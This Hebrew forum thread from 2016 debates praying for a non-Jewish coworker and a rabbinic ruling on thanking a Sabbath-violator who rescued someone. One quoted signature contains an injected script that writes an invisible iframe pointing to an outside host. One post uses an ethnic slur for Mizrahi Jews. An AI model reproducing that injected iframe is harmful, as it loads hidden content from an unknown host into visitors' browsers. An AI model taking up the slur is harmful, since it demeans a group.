| נשלח ב-8/9/2016 08:12 |
 |
| |
תפילה על חבר גוי
בפורום הסמוך, זה שמותר להזכיר את שמו, עלתה שאלה מעניינת, הפותחת נושאים רבים לעיון. בעקבות פניה בתיבה האישית, אני מבקש להביא את הנושא גם לכאן.
השאלה:
תפילה או ברכה מרב עבור חברה לעבודה - לא יהודיהשוב פעם שאלה שחברתי בקשה לברר עבורה
היא עובדת עם לא יהודייה במשרד - חברתה לעבודה הגויה ביקשה ממנה שתתפלל לרפואתה ותבקש עבורה ברכה מרב לנושא מסויים.
היא לקחה ממנה את שמה ושם אמה ואמרה שתשתדל בעניין.
1. האם מותר להתפלל ? או שזה בזבוז ?
2. האם יש רב שאפשר לפנות אליו לברכה ?
האשכול
של
מסך_מגע
|
|
|
|
| נשלח ב-12/9/2016 14:35 |
|
| |
הרב מימוני.
תבורך, אתה עונה כדרכך בקודש. מלמד זכות.
מה לעשות אני איני רואה זאת כך. אני אבל רואה בחומרה יתירה לא כל כך את הרב זילברשטיין- בעייני הוא באמת תינוק שהפך לרב ונשבה. נשבה עולמית.
הבעיה שלי היא יותר עם השואל- תלמידו של הרב.אדם- מציל אותך מטפל בך מקדיש לך מזמנו הפנוי. אולי חיכו לו ילדיו. ואתה בכלל מעלה בדעתך את האפשרות לא להודות לו? צריכים לשאל את הרב על זה???
סלח לי הרב מימוני. אבל הדת החרדית הזו שמייצג הרב זילברשטיין. השחיתה את הקהל ואת האנשים התמימים.
|
|
|
|
| נשלח ב-12/9/2016 14:01 |
|
| |
| מיימוני כתב: |  | הבהרה:
סוף סוף פוענח הרמז של ירוחמ. כוונתו לרב של שכונת רמת אלחנן, שמייחסים לו חומרות ואני עצמי עסקתי בפסקים שלו באשכול מיוחד, "מאה שערי הרב זילברשטיין". (ואף נאלצתי להצדיק את הדיון בפסקים כאלו מחשש של פגיעה בכבוד תורתו, ואולי בצדק).
כמדומה שהרב דן פעם בשאלה כואבת: אשה שהתגיירה ובנה טרם השלים את הגיור שלו, ונפל ונפצע בשבת קודש, ויש להזעיק עבורו אמבולנס, האם מותר לה לחלל שבת לשם כך? וכמדומה שפסק לאסור. אבל ממש רק כמדומה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מעשה היה בשכונתנו, במשפחה של מזרוחניקים שהחליטו לחזור בתשובה שלמה, להמיר את בגדיהם בשמונה בגדים וחולצה לבנה בכל ימות השבוע, ובכלל - להימנות על קהל צאן הקדוישים האמיתי וכו'.
ונדברו והלכו לרב של קהילת קראצמעך שבשכונתם, ואמר להם שייכנסו אצלו אחד-אחד, והוא יושב בחדרו עם עוד שניים מנשואי הפנים של קהילת קראצמעך ("ק"ק), ושם יעשו לכל אחד מהם התרת נדרים כדין, וכך יפסיק להיות מסרוחניק ויגוייר להיות יהודי טוב ואכמ"ל.
עמדו והמתינו בחדר הקבלה, ונכנס האב, עשה מה שעשה ואמר מה שאמר, ויצא משם כשנהרת כל טוב העולם על פניו. נזדרזה ונכנסה אשתו אחריו, וכעבר כך וכך יצאה גם היא ופניה מאירות כאור הלבנה במילואה.
עמד בנם הבכור להיכנס, וקם במהירות מהספסל - אך אבוי! ניגפה רגלו ברגל הספסל ונפל אפרקדן, כשפינת הספסל השני חותכת ברקתו. מייד התעלף הבחור ודמו זב על חולצתו ועל הרצפה.
מיהר אביו בחרדה כדי לראות מה שלומו ולטפל בו, אך נעצר במבט חמור סבר על ידי האם:
"הנח לו. שימות הכלב המסרוחניק הזה".
|
|
|
|
| נשלח ב-12/9/2016 13:27 |
|
| |
ירוחמ
אני לומד את דברי הרב זילברשטיין אחרת.
היה צריך לראות שהניצול מכיר תודה למציל.
כלומר, לשקף למציל את הדילמה שמצד אחד עשה חסד רב ומצד שני הוא מחלל שבת וזה כואב לו.
אמנם יש שתי נקודות להעיר עליהן, והן כבר שייכות לאשכול על "מאה שערי הרב זילברשטיין" ואם אמצא זמן אעתיק לשם.
האחת היא שלא ברור לי מהיכן לקח הרב שאסור להכיר או לבטא תודה למחלל שבת. ובמיוחד באשר מסתבר שהינו תינוק שנשבה (ויש מרחיבים את המונח "תינוק שנשבה" כמעט לכל אדם).
השניה היא מקומית לנושא. אני מבין שהרב זילברשטיין מבקש למנוע ביטוי של הכרת הטוב שבו לא יוזכר שהלה חילל שבת. והאם אין עוד דרכים לבטא זאת? למשל לומר, "אין לי מילים להודות לך. ממש הצלת אותי. אני חייב לך לעולמים. אני שמח שיצא לנו להיפגש. חבל שהיה עליך להגיע לכאן במכונית שהרי זה אסור בשבת, ואם תרצה פעם שנשב לדבר בנושא, אשמח" או משהו כזה.
אבל לדעתי ראוי היה יותר לשבח ולהודות לו ללא קשר לחילול השבת שלו בכלל, מהסיבות לעיל, שהרי הוא תינוק שנשבה ולכן פטור (אולם חייב קרבן חטאת אחד כאשר יכיר בעוונו). והאם אין סיפורים על גדולי ישראל שבמצבים כאלו האירו פנים לאדם שלידם והתעלמו לגמרי מהצד השלילי שבו?
השערתי היא שהרב זילברשטיין לא חרד לרושם שיקבל המציל אלא לרושם שיקבל השואל. אם לא יבהיר לו שהמציל בכל זאת פסול בגלל חילול השבת שלו, מי יודע, אולי ייחלש אצלו משהו ביחסו למצוות, לשבת? כך אני משער. אבל גם אם זה נכון וזו התכלית של ההסתייגות, היה ראוי לחלק את התשובה לשנים. כיצד להודות לחילוני מחלל השבת, כלומר ללא שום סייג, וכיצד הניצול צריך להתייחס להצלה, להסביר לו שבעוונותינו יש יהודים שאינם יודעים על השבת, ולכן אנו עם רגשות מעורבים: אוהבים אותם כאחים, וכל שכן שהצילו נפש - נפש השואל - אבל גם עם צער על כשלונם. והאם זה לא עדיף?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-12/9/2016 12:35 |
|
| |
אחד מסיפורי הרב. שהרב מימוני שומר על כבודו.
הרב יצחק זילברשטיין כותב בספרו [ברכי נפשי, חומש ויקרא, עמ' שעז.] ש"היהודי סיפר שכאשר הלך ברחוב בשבת קודש, מעד ונפל והנפילה גרמה לו לחבלה קשה. דם רב זב מפניו ומידיו, והוא היה זקוק לעזרה מיידית. והנה הוא מספר, נעצרה לידי מכונית שהיתה נהוגה בידי מחלל שבת רח"ל, ומתוכה יצא הנהג ורץ לעברי, הוא הבחין בפציעתי, ובא לסייע לי. ואכן, פעולותיו המהירות, והמקצועיות, הטיבו עמדי, ותוך כמה דקות הייתי מסוגל כבר לקום על רגליי, ולהתהלך כאחד האדם. יהודי זה בא בשאלה, כיצד היה צריך לנהוג עם האיש שהיטיב איתו. האם הייתי צריך להודות לו במאור-פנים, ולהגיב במלוא הנחמדות על כל מה שעשה עמדי, או שמא בשל היותו מחלל שבת, היה אסור לי לעשות זאת?"
מה היתה תשובתו של הרב יצחק זילברשטיין, רבה של רמת אלחנן בבני-ברק? "כך עניתי גם ליהודי שנפצע בנפילתו. גם אם לא כדאי ולא ראוי לומר תודה ליהודי מחלל שבל, אבל על פניך היה צריך לראות שאתה רוצה לומר לו תודה, אלא שאסור!"
משמע מדבריו שאסור להכיר טובה לחילוניים ואפילו לא באמירת 'תודה', אלא צריך להראות לחילוניים כאילו הוא מודה להם אך אסור לו לבטא זאת במילים.
|
|
|
|
|
| נשלח ב-11/9/2016 16:19 |
|
| |
הבהרה:
סוף סוף פוענח הרמז של ירוחמ. כוונתו לרב של שכונת רמת אלחנן, שמייחסים לו חומרות ואני עצמי עסקתי בפסקים שלו באשכול מיוחד, "מאה שערי הרב זילברשטיין". (ואף נאלצתי להצדיק את הדיון בפסקים כאלו מחשש של פגיעה בכבוד תורתו, ואולי בצדק).
כמדומה שהרב דן פעם בשאלה כואבת: אשה שהתגיירה ובנה טרם השלים את הגיור שלו, ונפל ונפצע בשבת קודש, ויש להזעיק עבורו אמבולנס, האם מותר לה לחלל שבת לשם כך? וכמדומה שפסק לאסור. אבל ממש רק כמדומה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-9/9/2016 12:37 |
|
| |
הרב מימוני
עם השלמת קריאת פרשת השבוע- ראיתי וחשבתי על החלל שנמצא בשדה.- אדם- לא בטוח שהוא יהודי כלל- אבל התורה מכנה אותו חלל- הוא השאיר אחריו חלל. יוצאים כל זקני העיר ומצהירים הצהרות בגינו,ונענשים. על האדם הנרצח הזה. שאולי הוא גוי עובד ע"ז אולי מחלל שבת בפרסיה. פושע וכד. אבל התורה למרות הכל מתיחסת אליו כאל אדם שמשאיר חלל בעולם עם מותו.
ולא כפוסק ההלכות ברמת אהרון.
|
|
|
|
| נשלח ב-9/9/2016 11:54 |
|
| |
כמוסיף לבעל
משנה מסכת אבות פרק ג
רבי חנינא סגן הכהנים אומר הוי מתפלל בשלומה של מלכות שאלמלא מוראה איש את רעהו חיים בלעו [
מלכות רומי שהחריבה את ביתנו והרגה את בחורינו וגזרה גזירת שמד על עמנו.
מסכתות קטנות מסכת אבות דרבי נתן נוסחא א פרק לז
כיוצא בו באברהם אבינו כשהיה מתפלל על אנשי סדום אמר לו הקדוש ברוך הוא אם אמצא בסדום חמשים צדיקים ונשאתי לכל המקום בעבורם
|
|
|
|
| נשלח ב-9/9/2016 00:24 |
|
| |
ירוחמ
תודה על ההבהרה. אני מוסיף את הדוגמאות שלך לשל בעל בעמיו.
הוספת וציינת כי יש שאלות שאין צורך לשאול. גם אני סברתי כמוך לגבי שאלות רבות מאד (שלא אפרט.... איקון מחייך) אבל זו אינה ביניהן.
עיניך הרואות שיש שמתקשים בדבר. ובאמת יש מקום לדון. גוי שהינו עובד עבודה זרה או שיכול לסחוף את היהודי למחוזות אפלים, האם לא ראוי לשמור ממנו מרחק? לא דנתי לגבי תפילה אלא לגבי חברות.
ואמנם יש לדון גם על יהודים מהסוג הזה, שמשפיע לרעה. לא כל חברות היא טובה.
בכל אופן, אתה ודאי צודק שיש דברים שלא אמורים להיות "שאלה" ולא צריך להיות לגביהם שולחן ערוך. לא צריך שולחן ערוך כדי לדעת לבחור חבר, אם כי נראה שרבים זקוקים לעצה טובה בתחום הזה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-9/9/2016 00:17 |
|
| |
מטבע הדברים, כששני אנשים חיים יחד - צריכים להתייעץ זה עם זה על כל דבר. כך גם האדם והקב"ה.
|
|
|
|
| נשלח ב-9/9/2016 00:16 |
|
| |
אם אומרים לקב"ה "לא כל דבר צריך להיות כתוב בתורה" לא כל דבר צריך אישור של הקב"ה.
גם הקב"ה יכול להגיד לאדם: לא כל דבר אני צריך אישור שלך. לא שואל אותך.
|
|
|
|
| נשלח ב-8/9/2016 21:52 |
|
| |
הרב מימוני
להתיר? איזה הו"א יש לך שאסור. כאן נסחפת.
יתרו לא התגייר- הוא אמר בפרוש שהוא שב אל עמו וארצו.
הענקים- חבריו של אברהם. שאיתם הוא התיעץ על מהלכות מילה כביכול.
מטבע הדברים כין חברים יש יחסי קרבה. ומאחלים ומתפללים איש לשלום חברו.
לא כל דבר צריך להיות כתוב בתורה. יש דברים מובנים מאיליהם
|
|
|
|
| נשלח ב-8/9/2016 16:55 |
|
| |
בעל
יפה כתבת ואיקון ירוק. איך שכחתי.
יש
יפה כתבת. ואכן יש לשאול אם יש חובה או מקום להתפלל על אחרים שאינם קשורים אלי. מצד שני, איך אפשר לא להתפלל על אחרים אם הם בצער? או בסכנה? אם איני יכול לעזור לאחרים, לפחות אתפלל עליהם?
ירוחם
נסחפתי - לאן? לדון בשאלות כאלו? להתיר? לעשות מעשה אהרן ולקרב?
לא הבנתי את פשר הרשימה שבסוף. יתרו התגייר לפחות לפי המדרש והצטרף לעם ישראל. אבל שלושת הענקים, מי התפלל עליהם?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-8/9/2016 12:20 |
|
| |
הרב מימוני האם גם אתה נסחפת? אתה גר ברמת אהרון?
אחימן ששי ותלמי ואביהם יתרו -דואג האדומי- איוב וכו וכו
|
|
|
|
|
| נשלח ב-8/9/2016 09:17 |
|
| |
רק אעיר לגבי שאלה ב' - יש לשאול לא רק אם מותר או אפשר, אלא גם את ראוי או צריך (ואם יש חובה להתפלל על יהודי, אפשר לשאול גם על חובה, אבל לא נראה לי שמצאנו חובה כזו).
|
|
|
|
| נשלח ב-8/9/2016 08:39 |
|
| |
ועתה השב אשת האיש ויתפלל בעדך
|
|
|
|
|
